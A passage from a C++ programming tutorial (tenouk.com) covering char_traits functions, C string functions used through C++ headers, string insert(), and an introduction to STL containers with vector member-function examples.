result2 = char_traits<char>::move(str3, str4, 9);
cout<<"The result2 = "<<result2<<endl;
return 0;
}

Output:

not_eof()

- The return value is the int_type representation of the character tested, if the int_type of the
character is not equal to that of the EOF character.
- If the character int_type value is equal to the EOF int_type value, then it is false.

//char_traits, not_eof()

www.tenouk.com Page 25 of 30
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = 'w';
char_traits<char>::int_type int1;
int1 = char_traits<char>::to_int_type(chr1);
cout<<"Operation: to_int_type(chr1)"<<endl;
cout<<"The char_type "<<chr1<<" = int_type "<<int1<<endl;

//EOF
char_traits <char>::int_type int2 = char_traits<char>::eof();
cout<<"\nOperation: char_traits<char>::eof()"<<endl;
cout<<"The eof return is: "<<int2<<endl;

//Testing for EOF


char_traits <char>::int_type eofTest1, eofTest2;
eofTest1 = char_traits<char>::not_eof(int1);
cout<<"\nOperation: not_eof(int1)"<<endl;
if(!eofTest1)
cout<<"The eofTest1 indicates "<<chr1<<" is an EOF character."<<endl;
else
cout<<"The eofTest1 returns: "<<eofTest1
<<", which is the character: "
<<char_traits<char>::to_char_type(eofTest1)<<endl;

eofTest2 = char_traits<char>::not_eof(int2);
cout<<"\nOperation: not_eof(int2)"<<endl;
if(!eofTest2)
cout<<"The eofTest2 indicates "<<chr1<<" is an EOF character."<<endl;
else
cout<<"The eofTest1 returns: "<<eofTest2
<<", which is the character "
<<char_traits<char>::to_char_type(eofTest2)<<endl;
return 0;
}

Output:

to_char_type() and to_int_type()

- The conversion operations to_int_type and to_char_type are inverse operation to each other.
For example:

to_int_type(to_char_type(x)) == x

- And for any int_type x:

to_char_type(to_int_type(x)) == x for any char_type x.

- The return value is the char_type character corresponding to the int_type character.
- A value that cannot be represented by the conversion will yield an unspecified result.

//char_traits, to_char_type(),
//to_int_type and eq()

www.tenouk.com Page 26 of 30
#include <string>
#include <iostream>
using namespace std;

int main()
{
char_traits<char>::char_type chr1 = '3';
char_traits<char>::char_type chr2 = 'C';
char_traits<char>::char_type chr3 = '#';

cout<<"chr1 = "<<chr1<<", chr2 = "<<chr2<<", chr3 = "<<chr3<<endl;


//Converting from char_type to int_type
char_traits<char>::int_type int1, int2, int3;
int1 =char_traits<char>::to_int_type(chr1);
int2 =char_traits<char>::to_int_type(chr2);
int3 =char_traits<char>::to_int_type(chr3);

cout<<"Operation: to_int_type(character)"<<endl;
cout<<"The char_types and corresponding int_types are:\n";
cout<<chr1<<" ==> "<<int1<<endl;
cout<<chr2<<" ==> "<<int2<<endl;
cout<<chr3<<" ==> "<<int3<<endl;

//int_type to char_type re conversion


char_traits<char>::char_type rev_chr1;
rev_chr1 = char_traits<char>::to_char_type(int1);
char_traits<char>::char_type rev_chr2;
rev_chr2 = char_traits<char>::to_char_type(int2);

cout<<"\nOperation: to_char_type(integer)"<<endl;
cout<<"The inverse conversion are:\n";
cout<<int1<<" ==> "<<rev_chr1<<endl;
cout<<int2<<" ==> "<<rev_chr2<<endl;

//test for conversions, they are just inverse operations


cout<<"\nOperation: eq(rev_chr1, chr1)"<<endl;
bool var1 = char_traits<char>::eq(rev_chr1, chr1);
if(var1)
cout<<"The rev_chr1 is equal to the original chr1."<<endl;
else
cout<<"The rev_chr1 is not equal to the original chr1."<<endl;

//alternatively...
if(rev_chr2 == chr2)
cout<<"The rev_chr2 is equal to the original chr2."<<endl;
else
cout<<"The rev_chr2 is not equal to the original chr2."<<endl;
return 0;
}

Output:

26.6 char_traits Specializations

- The following table is a list of the char_traits class template specialization.

Class Specialization Brief Description

www.tenouk.com Page 27 of 30
A class that is a specialization of the template class
char_traits<char>
char_traits<CharType> to an element of type
class
char.
A class that is a specialization of the template class
char_traits<wchar_t>
char_traits<CharType> to an element of type
class
wchar_t.

Table 26.3: char_traits class template specialization

26.7 Using C++ wrapper for C string and character manipulation

- The following are recompiling and re running of the C characters and strings program examples.
Program examples are taken from Module X. You can try other program examples as well.

//strtok()
//using the C++ wrappers
#include <cstdio>
#include <string>
using namespace std;

int main()
{
char string[] = "Is this sentence has 6 tokens?";
char *tokenPtr;

printf(" Using strtok()\n");


printf(" --------------\n");

printf("The string to be tokenized is:\n%s\n", string);


printf("\nThe tokens are: \n\n");

tokenPtr = strtok(string, " ");


while (tokenPtr != NULL)
{
printf("%s\n", tokenPtr);
tokenPtr = strtok(NULL, " ");
}
return 0;
}

Output:

//Using strspn()
#include <cstdio>
#include <string>
using namespace std;

int main()
{
char *string1 = "The initial value is 3.14159";
char *string2 = "aehilsTuv";

printf(" Using strspn()\n");


printf(" ---------------\n");

printf("string1 = %s\n", string1);

www.tenouk.com Page 28 of 30
printf("string2 = %s\n", string2);
printf("\nThe length of the initial segment of string1\n");
printf("containing only characters from string2 is = %u\n", strspn(string1,
string2));
return 0;
}

Output:

- Program example compiled using g++. Portability is not an issue here :o). g++ warmly warn you for
constructs that are obsolete!

//**********string2.cpp************
//insert() part I
#include <string>
#include <iostream>
using namespace std;

int main()
{
//inserting a C-string at a given position
basic_string <char> str1("e insert() testing");
const char *cstr1 = "Th";

cout<<"str1 = "<<str1<<endl;
cout<<"cstr1 = "<<cstr1<<endl;
str1.insert(0, cstr1);
cout<<"Operation: str1.insert(0, cstr1)"<<endl;
cout<<"Inserting a C-string at position 0 is:\n"<<str1<<endl;
cout<<endl;

//inserting a C-string at a given position for a specified number of elements


basic_string <char> str2("Test");
const char *cstr2 = "ing an insert()";

cout<<"str2 = "<<str2<<endl;
cout<<"cstr2 = "<<cstr2<<endl;
str2.insert(4, cstr2, 15);
cout<<"Operation: str2.insert(4, cstr2, 15)"<<endl;
cout<<"Inserting a C-string at the end is:\n"<<str2<<endl;
cout<<endl;

//inserting a string at a given position


basic_string <char> str3(" the insert()");
string str4("Testing");

cout<<"str3 = "<<str3<<endl;
cout<<"str4 = "<<str4<<endl;
str3.insert(0, str4);
cout<<"Operation: str3.insert(0, str4)"<<endl;
cout<<"Inserting string at position 0 is:\n"<<str3<<endl;
cout<<endl;

//inserting part of a string at a given position


basic_string <char> str5("Testing ");
string str6(" the insert()");

cout<<"str5 = "<<str5<<endl;
cout<<"str6 = "<<str6<<endl;
str5.insert(7, str6, 4, 9);
cout<<"Operation: str5.insert(7, str6, 4, 9)"<<endl;
cout<<"Inserting part of a string at position 9 is:\n"<<str5<<endl;
return 0;
}

www.tenouk.com Page 29 of 30
[bodo@bakawali ~]$ g++ string2.cpp -o string2
[bodo@bakawali ~]$ ./string2

str1 = e insert() testing


cstr1 = Th
Operation: str1.insert(0, cstr1)
Inserting a C-string at position 0 is:
The insert() testing

str2 = Test
cstr2 = ing an insert()
Operation: str2.insert(4, cstr2, 15)
Inserting a C-string at the end is:
Testing an insert()

str3 = the insert()


str4 = Testing
Operation: str3.insert(0, str4)
Inserting string at position 0 is:
Testing the insert()

str5 = Testing
str6 = the insert()
Operation: str5.insert(7, str6, 4, 9)
Inserting part of a string at position 9 is:
Testing insert()

----------------------------------o0o----------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 30 of 30
MODULE 27
--THE STL--
CONTAINER PART I
vector, deque

My Training Period: hours

Note: Compiled using VC++7.0/.Net, win32 empty console mode application. g++ examples given at the end of
this Module.

Abilities

▪ Able to understand the containers.


▪ Able to understand sequence and associative containers.
▪ Able to understand and use vector sequence container.
▪ Able to understand and use deque sequence container.

- The Standard Template Library (STL) is a generic library that provides solutions to managing
collections of data with an efficient algorithm.
- The STL provides a collection of classes that meet different kind of tasks, with algorithms that operate
on the classes. STL components are templates, as you have learned in Module 24, it can be used for
arbitrary data types.
- Furthermore, STL also provides a framework for other collection of user defined classes or algorithms.
The traditional programming such as dynamic arrays, linked lists, binary trees, search algorithms
and other data structures routines can be implemented using STL more efficiently and easily.
- To easily understand this topic, you should have good understanding of the traditional arrays data
type and operations that can be done on arrays elements such as comparison, sorting, deletion,
modification, insertion etc. and as well as templates.

27.1 Introduction: STL components

- The STL consist of the containers, iterators, and algorithms.

27.1.1 Containers

- Container classes’ purpose is to contain other objects. Each of these classes is a template, and can be
instantiated to contain any type of object.
- The STL container classes include vector, list, deque, set, multiset, map, multimap,
hash_set, hash_multiset, hash_map and hash_multimap to suit different kind of tasks.
You may find other containers that are implementation dependent/extension.

27.1.2 Iterators

- It is a pointer used to manipulate the elements of the objects’ collections. These collections may be
containers or subsets of containers. Iterators provide common interface for any arbitrary container type.
- Every container class provides its own iterator type but when you try the program examples later, most
of the containers have a common iterator types. It is a smart pointer. For simple example, to increment
an iterator you call operator ++. To access the value of an iterator you may use operator *.

27.1.3 Algorithms

- Used to process the elements of collections. For example, algorithms can search, sort and modify.
Algorithms use iterators. Thus, an algorithm has to be written only once to work with arbitrary
containers because the iterator interface for iterators is common for all container types.
- We can use a general algorithm to suit our needs even if that need is very special or complex. You will
find in the program examples later, most of the member functions for processing the elements or data
are common for various containers.
- The data and operations in STL are decoupled. Container classes manage the data, and the operations
are defined by the algorithms, used together with the iterators. Conceptually, iterators are the linker
between these two components. They let any algorithm interact with any container, graphically shown
below.

www.tenouk.com Page 1 of 30
- Theoretically, you can combine every kind of container with every kind of algorithm. All components
work with arbitrary types, a good example of the generic programming concept.
- Containers and algorithms are generic for arbitrary types and classes respectively. The STL provides
even more generic components. By using certain adapters and function objects (or functors) you can
supplement, constrain, or configure the algorithms and the interfaces for special needs.
- In this module we will discussed in detail about containers and at the same time the iterators and
algorithm also will be introduced as well.

27.3 Containers Type

- There are two types of containers.

27.3.1 Sequence containers

- Are ordered collections in which every element has a certain position. This ‘ordered’ term does not
mean ascending or descending, but it refers to a certain position.
- This position depends on the time and place of the insertion, but it is independent of the value of the
element. For example, if you put 10 elements into a collection by appending each element at the end of
the actual collection, these elements are in the exact order in which you put them.
- The STL contains three predefined sequence container classes: vector, deque, and list.

27.3.2 Associative containers

- Are sorted collections in which the actual position of an element depends on its value due to a
certain sorting criterion. If you put ten elements into a collection, their order depends only on their
value. The order of insertion doesn't matter.
- The STL contains four predefined associative container classes: set, multiset, map, multimap,
hash_map, hash_multimap, hash_set and hash_multiset. Some of these containers are not required by
ANSI C++ (ISO/IEC C++).
- An associative container can be considered a special kind of sequence container because sorted
collections are ordered according to a sorting criterion. Note that the STL collection types are
completely distinct from each other. They have different implementations that are not derived from
each other.
- The automatic sorting of elements in associative containers does not mean that those containers are
especially designed for sorting elements. You can also sort the elements of a sequence container.
- The key advantage of automatic sorting is better performance when you search elements. In particular,
you can always use a binary search, which results in logarithmic complexity rather than linear
complexity.

27.3.2.1 Associative Container Category

- An associative container is a variable-sized container that supports efficient retrieval of elements


(values) based on keys.
- It supports insertion and removal of elements, but differs from a sequence in that it does not provide a
mechanism for inserting an element at a specific position.
- As with all containers, the elements in an associative container are the type of value_type.
Additionally, each element in an associative container has a key, of type key_type.
- In a Simple Associative Containers, the value_type and key_type are the same that is the
elements are their own keys.

www.tenouk.com Page 2 of 30
- In others, the key is some specific part of the value. Since elements are stored according to their keys, it
is essential that the key associated with each element is immutable.
- In simple associative containers this means that the elements themselves are immutable, while in other
types of associative containers a Pair Associative Containers, the elements themselves are mutable
but the part of an element that is its key cannot be modified. This means that an associative container's
value type is not assignable.
- The fact that the value type of an associative container is not assignable has an important consequence:
associative containers cannot have mutable iterators. This is simply because a mutable iterator must
allow assignment.
- That is, if i is a mutable iterator and t is an object of i's value type, then *i = t must be a valid
expression.
- In simple associative containers, where the elements are the keys, the elements are completely
immutable; the nested types iterator and const_iterator are therefore the same. Other types
of associative containers, however, do have mutable elements, and do provide iterators through which
elements can be modified.
- In pair associative containers, for example, have two different nested types’ iterator and
const_iterator.
- Even in this case, iterator is not a mutable iterator: as explained above, it does not provide the
expression:

*i = t.

- It is, however, possible to modify an element through such an iterator: if, for example,

i is of type map<int, double>

- Then:

(*i).second = 3

- Is a valid expression.
- In some associative containers a Unique Associative Containers, it is guaranteed that no two elements
have the same key.
- In other associative containers a Multiple Associative Containers, multiple elements with the same
key are permitted.

27.4 Common Container Operation

- There are operations common to all containers. The following Table is a list of these operations. You
will find these operations somewhere in the program examples later.

Sample Code Operation


con, con1 and con2 are containers.
ContainerType con
Creates an empty container without any element
e.g. vector<int> vec0
ContainerType con1(con2)
Copies a container of the same type
e.g. vector<int> vec0(vec1)
ContainerType con(begin,end)e.g. Creates a container and initializes it with copies of all
vector<int> vec0(p.begin(),p.end()) elements of [begin, end)
con.~ContType() Deletes all elements and frees the memory
con.size() Returns the actual number of elements
Returns whether the container is empty, equivalent to
con.empty()
size()==0, but might be faster.
con.max_size() Returns the maximum number of elements possible
con1 == con2 Returns whether con1is equal to con2
Returns whether con1is not equal to con2, equivalent to
con1 != con2
!(con1==con2)
con1 < con2 Returns whether con1is less than con2
Returns whether con1is greater than con2, equivalent to
con1 > con2
con2 < con1
Returns whether con1is less than or equal to con2,
con1 <= con2
equivalent to !(con2<con1)
con1 >= con2 Returns whether con1is greater than or equal to con2,

www.tenouk.com Page 3 of 30
equivalent to !(con1<con2)
con1 = con2 Assignment, assigns all elements of con1 to con2
con1.swap(con2) Swaps the data of con1and con2
swap(con1,con2) Same but a global function
con.begin() Returns an iterator for the first element
con.end() Returns an iterator for the position after the last element
Returns a reverse iterator for the first element of a reverse
con.rbegin()
iteration
Returns a reverse iterator for the position after the last
con.rend()
element of a reverse iteration
con.insert(position,element) Inserts a copy of element.
Removes all elements of the range [begin, end), some
con.erase(begin,end)
containers return next element not removed
con.clear() Removes all elements, making the container empty
con.get_allocator() Returns the memory model of the container

Table 27.1: Common Operations Examples of Container Classes

- Example:

Initialize with the elements of another container:

//ls is a linked list of int


list<int> ls;
...
//copy all elements of the ls list into a con vector
vector<int> con(ls.begin(), ls.end());

27.5 Sequence Containers

27.5.1 Vectors

- A vector manages its elements in a dynamic array. It enables random access. Appending and removing
elements at the end of the array is very fast.
- However, inserting an element in the middle or at the beginning of the array takes time because all the
following elements have to be moved to make room for it while maintaining the order.
- It allows constant time insertions and deletions at the end of the sequence. Inserting or deleting
elements in the middle of a vector requires linear time. The structure of vector can be depicted as
follow:

- Vector reallocation occurs when a member function must increase the sequence contained in the vector
object beyond its current storage capacity. Other insertions and deletions may alter various storage
addresses within the sequence.
- In all such cases, iterators or references that point at altered portions of the sequence become invalid. If
no reallocation happens, only iterators and references before the insertion/deletion point remain valid.
- The vector<bool> class is a full specialization of the template class vector for elements of type
bool with an allocator for the underlying type used by the specialization.
- The vector<bool> reference class is a nested class whose objects are able to provide references to
elements (single bits) within a vector<bool> object.
- The list class container is superior with respect to insertions and deletions at any location within a
sequence. The performance of the deque class container is superior with respect to insertions and
deletions at the beginning and end of a sequence compared to vector.
- The following general example defines a vector for integer values, inserts ten elements, and prints the
elements of the vector:

//vector example
#include <iostream>
//vector header file
#include <vector>
using namespace std;

www.tenouk.com Page 4 of 30
int main()
{
//vector container for integer elements
//declaration
vector<int> coll;

//append elements with values 1 to 10


for(int i=1; i<=10; ++i)
coll.push_back(i);

//print all elements separated by a space


for(i=0; i<coll.size(); ++i)
cout<<coll[i]<<' ';

cout<<endl;
return 0;
}

Output:

- Let us dig more detail about the vector. A lot of stuff has been provided by the C++ STL, our task is to
learn how to use them properly, before you create or refine your own containers. Do not reinvent the
wheel.

<vector> Header Members

- The following section is a <vector> header member.

Operators

Operator Brief Description


Tests if the vector object on the left side of the operator is not equal to the vector
operator!= object on the right side.
The return value is true if the vectors are not equal; false if the vectors are equal.
Tests if the vector object on the left side of the operator is less than the vector object
on the right side.
operator<
The return value is true if the vector on the left side of the operator is less than the
vector on the right side of the operator; otherwise false.
Tests if the vector object on the left side of the operator is less than or equal to the
vector object on the right side.
operator<=
The return value is true if the vector on the left side of the operator is less than or
equal to the vector on the right side of the operator; otherwise false.
Tests if the vector object on the left side of the operator is equal to the vector object
on the right side.
operator==
The return value is true if the vector on the left side of the operator is equal to the
vector on the right side of the operator; otherwise false.
Tests if the vector object on the left side of the operator is greater than the vector
object on the right side.
operator>
The return value is true if the vector on the left side of the operator is greater than the
vector on the right side of the operator; otherwise false.
Tests if the vector object on the left side of the operator is greater than or equal to the
vector object on the right side.
operator>=
The return value is true if the vector on the left side of the operator is greater than or
equal to the vector on the right side of the vector; otherwise false.

Table 27.2

- Program examples:

//vector, operators
#include <vector>
#include <iostream>

www.tenouk.com Page 5 of 30
using namespace std;

int main()
{

//vector container for integer elements


//declaration
vector<int> vec1, vec2, vec3;

cout<<"vec1 data: ";


//append elements with values 1 to 10
for(int i=1; i<=10; ++i)
vec1.push_back(i);
//print all elements separated by a space
for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"vec2 data: ";


//append elements with values 1 to 10
for(i=11; i<=20; ++i)
vec2.push_back(i);
//print all elements separated by a space
for(i=0; i<vec2.size(); ++i)
cout<<vec2[i]<<' ';
cout<<endl;

cout<<"vec3 data: ";


//append elements with values 1 to 10
for(i=1; i<=10; ++i)
vec3.push_back(i);
//print all elements separated by a space
for(i=0; i<vec3.size(); ++i)
cout<<vec3[i]<<' ';
cout<<"\n\n";

cout<<"Operation: vec1 != vec2"<<endl;


if(vec1 != vec2)
cout<<"vec1 and vec2 is not equal."<<endl;
else
cout<<"vec1 and vec2 is equal."<<endl;

cout<<"\nOperation: vec1 == vec3"<<endl;


if(vec1 == vec3)
cout<<"vec1 and vec3 is equal."<<endl;
else
cout<<"vec1 and vec3 is not equal."<<endl;

cout<<"\nOperation: vec1 < vec2"<<endl;


if(vec1 < vec2)
cout<<"vec1 less than vec2."<<endl;
else
cout<<"vec1 is not less than vec2."<<endl;

cout<<"\nOperation: vec2 > vec1"<<endl;


if(vec2 > vec1)
cout<<"vec2 greater than vec1."<<endl;
else
cout<<"vec2 is not greater than vec1."<<endl;

cout<<"\nOperation: vec2 >= vec1"<<endl;


if(vec2 >= vec1)
cout<<"vec2 greater or equal than vec1."<<endl;
else
cout<<"vec2 is not greater or equal than vec1."<<endl;

cout<<"\nOperation: vec1 <= vec2"<<endl;


if(vec1 <= vec2)
cout<<"vec1 less or equal than vec2."<<endl;
else
cout<<"vec1 is not less or equal than vec2."<<endl;
return 0;
}

Output:

www.tenouk.com Page 6 of 30
vector Class Template

Class Description
vector A template class of sequence containers that arrange elements of a given type in a
Class linear arrangement and allow fast random access to any element.

Table 27.3

- The STL vector class is a template class of sequence containers that arrange elements of a given type in
a linear arrangement and allow fast random access to any element.
- They should be the preferred container for a sequence when random-access performance is concerned.

vector Class Template Members

vector Class template Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the vector object.
A type that provides a random-access iterator that can read a const
const_iterator
element in a vector.
const_pointer A type that provides a pointer to a const element in a vector.
A type that provides a reference to a const element stored in a
const_reference
vector for reading and performing const operations.
A type that provides a random-access iterator that can read any
const_reverse_iterator
const element in the vector.
A type that provides the difference between the addresses of two
difference_type
elements in a vector.
A type that provides a random-access iterator that can read or
iterator
modify any element in a vector.
pointer A type that provides a pointer to an element in a vector.
reference A type that provides a reference to an element stored in a vector.
A type that provides a random-access iterator that can read or
reverse_iterator
modify any element in a reversed vector.
size_type A type that counts the number of elements in a vector.
value_type A type that represents the data type stored in a vector.

Table 27.4

vector Class Template Member Functions

Member function Description


assign() Erases a vector and copies the specified elements to the empty vector.
at() Returns a reference to the element at a specified location in the vector.

www.tenouk.com Page 7 of 30
back() Returns a reference to the last element of the vector.
begin() Returns a random-access iterator to the first element in the container.
Returns the number of elements that the vector could contain without
capacity()
allocating more storage.
clear() Erases the elements of the vector.
empty() Tests if the vector container is empty.
Returns a random-access iterator that point just beyond the end of the
end()
vector.
Removes an element or a range of elements in a vector from specified
erase()
positions.
front() Returns a reference to the first element in a vector.
get_allocator() Returns an object to the allocator class used by a vector.
Inserts an element or a number of elements into the vector at a specified
insert()
position.
max_size() Returns the maximum length of the vector.
pop_back() Deletes the element at the end of the vector.
push_back() Add an element to the end of the vector.
rbegin() Returns an iterator to the first element in a reversed vector.
rend() Returns an iterator to the end of a reversed vector.
resize() Specifies a new size for a vector.
reserve() Reserves a minimum length of storage for a vector object.
size() Returns the number of elements in the vector.
swap() Exchanges the elements of two vectors.
Vector constructor, constructs a vector of a specific size or with elements of
vector() a specific value or with a specific allocator or as a copy of some other
vector.

Table 27.5

- The following section demonstrate the program examples using the member functions and the typedefs
- Vector constructor, constructs a vector of a specific size or with elements of a specific value or with a
specific allocator or as a copy of all or part of some other vector.
- All constructors store an allocator object and initialize the vector.

//vector constructors
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int>::iterator vec0Iter, vec1Iter, vec2Iter, vec3Iter, vec4Iter, vec5Iter;

//Create an empty vector vec0


vector <int> vec0;

//Create a vector vec1 with 10 elements of default value 0


vector <int> vec1(10);

//Create a vector vec2 with 7 elements of value 13


vector <int> vec2(7, 13);

//Create a vector vec3 with 5 elements of value 3 and with the allocator
//of vector vec2
vector <int> vec3(5, 3, vec2.get_allocator());

//vector vec4, a copy of vector vec2


vector <int> vec4(vec2);

//Create a vector vec5 by copying the range of vec4[_First, _Last)


vector <int> vec5(vec4.begin() + 1, vec4.begin() + 3);

cout<<"Operation: vector <int> vec0\n";


cout<<"vec0 data: ";
for(vec0Iter = vec0.begin(); vec0Iter != vec0.end(); vec0Iter++)
cout<<" "<<*vec0Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec1(10)\n";


cout<<"vec1 data: ";
for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<" "<<*vec1Iter;

www.tenouk.com Page 8 of 30
cout<<endl;

cout<<"\nOperation: vector <int> vec2(7, 13)\n";


cout<<"vec2 data: ";
for(vec2Iter = vec2.begin(); vec2Iter != vec2.end(); vec2Iter++)
cout<<" "<<*vec2Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec3(5, 3, vec2.get_allocator())\n";


cout<<"vec3 data: ";
for(vec3Iter = vec3.begin(); vec3Iter != vec3.end(); vec3Iter++)
cout<<" "<<*vec3Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec4(vec2)\n";


cout<<"vec4 data: ";
for(vec4Iter = vec4.begin(); vec4Iter != vec4.end(); vec4Iter++)
cout<<" "<<*vec4Iter;
cout<<endl;

cout<<"\nOperation: vector <int> vec5(vec4.begin()+1, vec4.begin()+3)\n";


cout<<"vec5 data: ";
for(vec5Iter = vec5.begin(); vec5Iter != vec5.end(); vec5Iter++)
cout<<" "<<*vec5Iter;
cout<<endl;
return 0;
}

Output:

- After erasing any existing elements in a vector, assign() either inserts a specified range of elements
from the original vector into a vector or inserts copies of a new element of a specified value into a
vector.

//vector, assign()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec2;
vector <int>::iterator Iter;

vec2.push_back(1);
vec2.push_back(5);
vec2.push_back(3);
vec2.push_back(4);
vec2.push_back(5);
vec2.push_back(3);
vec2.push_back(7);
vec2.push_back(8);
vec2.push_back(4);

cout<<"Operation: vec2.begin() and vec2.end()"<<endl;

www.tenouk.com Page 9 of 30
cout<<"vec2 data: ";
for(Iter = vec2.begin(); Iter != vec2.end(); Iter++)
cout<<*Iter<<" ";
cout<<"\n\n";

cout<<"Operation: vec2.assign(vec2.begin()+1, vec2.begin()+3)"<<endl;


vec2.assign(vec2.begin()+2, vec2.begin()+8);
cout<<"vec2 data: ";
for(Iter = vec2.begin(); Iter != vec2.end(); Iter++)
cout<<*Iter<<" ";
cout<<"\n\n";

cout<<"Operation: vec2.assign(5, 7)"<<endl;


vec2.assign(5, 7);
cout<<"vec2 data: ";
for(Iter = vec2.begin(); Iter != vec2.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;
return 0;
}

Output:

- The return value is a reference to the element subscripted in the argument. If _Off is greater than the
size of the vector, at() throws an exception.
- If the return value of at() is assigned to a const_reference, the vector object cannot be
modified. If the return value of at() is assigned to a reference, the vector object can be modified.

//vector, at()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(1);
vec1.push_back(7);
vec1.push_back(4);
vec1.push_back(3);

//print all elements separated by a space


cout<<"The vec1 data: ";
for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';

cout<<"\n\nOperation: vec1.at(position)";
const int &x = vec1.at(1);
int &y = vec1.at(3);
int &z = vec1.at(0);
cout<<"\nThe 2nd element is "<<x<<endl;
cout<<"The 4th element is "<<y<<endl;
cout<<"The 1st element is "<<z<<endl;
return 0;
}

Output:

www.tenouk.com Page 10 of 30
- For back(), the return value is the last element of the vector. If the vector is empty, the return value is
undefined.
- If the return value of back() is assigned to a const_reference, the vector object cannot be
modified. If the return value of back() is assigned to a reference, the vector object can be
modified.
- For front(), the return value is a reference to the first element in the vector object. If the vector is
empty, the return is undefined.
- If the return value of front() is assigned to a const_reference, the vector object cannot be
modified. If the return value of front() is assigned to a reference, the vector object can be
modified.

//vector, back() and front()


#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vec1.push_back(12);
vec1.push_back(10);
vec1.push_back(7);

//print all elements separated by a space


cout<<"vec1 data: ";
for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

int& x = vec1.back();
const int& y = vec1.front();

cout<<"\nOperation: x = vec1.back()\n";
cout<<"The last integer of vec1 is "<<x<<endl;

cout<<"Operation: y = vec1.front()\n";
cout<<"The 1st integer of vec1 is "<<y<<endl;

return 0;
}

Output:

- The return value is a random-access iterator addressing the first element in the vector or to the location
succeeding an empty vector.
- If the return value of begin() is assigned to a const_iterator, the vector object cannot be
modified. If the return value of begin() is assigned to an iterator, the vector object can be
modified.

www.tenouk.com Page 11 of 30
//vector, begin()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter;

vec1.push_back(21);
vec1.push_back(12);
vec1.push_back(32);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"\nOperation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is "<<*vec1_Iter<<endl;

cout<<"\nOperation: *vec1_Iter = 10\n";


*vec1_Iter = 10;
cout<<"new vec1 data: ";
for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"Operation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is now "<<*vec1_Iter<<endl;
return 0;
}

Output:

- The return value is the current length of storage allocated for the vector.
- The member function resize() will be more efficient if sufficient memory is allocated to
accommodate it. Use the member function reserve() to specify the amount of memory allocated.

//vector, capacity()
//and size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(3);
vec1.push_back(1);
vec1.push_back(6);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"Operation: vec1.capacity()\n";
cout<<"The length of storage allocated is "<<vec1.capacity()<<"."<<endl;

www.tenouk.com Page 12 of 30
vec1.push_back(10);
vec1.push_back(12);
vec1.push_back(4);

cout<<"\nnew vec1 data: ";


for(i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"The length of storage allocated is now "<<vec1.capacity()<<"."<<endl;


return 0;
}

Output:

- For empty(), the return value is true if the vector is empty; false if the vector is not empty.

//vector, clear(), empty()


//and size()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;

vec1.push_back(10);
vec1.push_back(20);
vec1.push_back(30);

cout<<"vec1 data: ";


for(int i=0; i<vec1.size(); ++i)
cout<<vec1[i]<<' ';
cout<<endl;

cout<<"The size of vec1 is "<<vec1.size()<<endl;

cout<<"\nOperation: vec1.empty()"<<endl;
if(vec1.empty())
cout<<"vec1 is empty"<<endl;
else
cout<<"vec1 is not empty"<<endl;

cout<<"\nOperation: vec1.clear()"<<endl;
vec1.clear();
cout<<"The size of vec1 after clearing is "<<vec1.size()<<endl;

cout<<"\nOperation: vec1.empty()"<<endl;
if(vec1.empty())
cout<<"vec1 is empty"<<endl;
else
cout<<"vec1 is not empty"<<endl;
return 0;
}

Output:

www.tenouk.com Page 13 of 30
- For end(), the return value is a pointer to the end of the vector object. If the vector is empty, the result
is undefined.
- If the return value of end() is assigned to a variable of type const_iterator, the vector object
cannot be modified. If the return value of end() is assigned to a variable of type iterator, the
vector object can be modified.

//vector, begin(), end()


#include <vector>
#include <iostream>

int main( )
{
using namespace std;
vector <int> vec1;
vector <int>::iterator vec1_Iter;

vec1.push_back(9);
vec1.push_back(2);
vec1.push_back(7);
vec1.push_back(3);

cout<<"Operation: vec1.begin() and vec1.end()"<<endl;


cout<<"vec1 data: ";
for(vec1_Iter = vec1.begin(); vec1_Iter != vec1.end(); vec1_Iter++)
cout<<*vec1_Iter<<' ';
cout<<endl;
return 0;
}

Output:

- The return value for erase() is an iterator that designates the first element remaining beyond any
elements removed, or a pointer to the end of the vector if no such element exists.

//vector, erase(), begin()


//and end()
#include <vector>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter;
vec1.push_back(3);
vec1.push_back(7);
vec1.push_back(22);
vec1.push_back(5);
vec1.push_back(12);
vec1.push_back(17);

www.tenouk.com Page 14 of 30
cout<<"Original vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: erase(vec1.begin()"<<endl;
vec1.erase(vec1.begin());
cout<<"New vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
cout<<" "<<*Iter;
cout<<endl;

cout<<"\nOperation: vec1.erase(vec1.begin()+1, vec1.begin()+3)"<<endl;


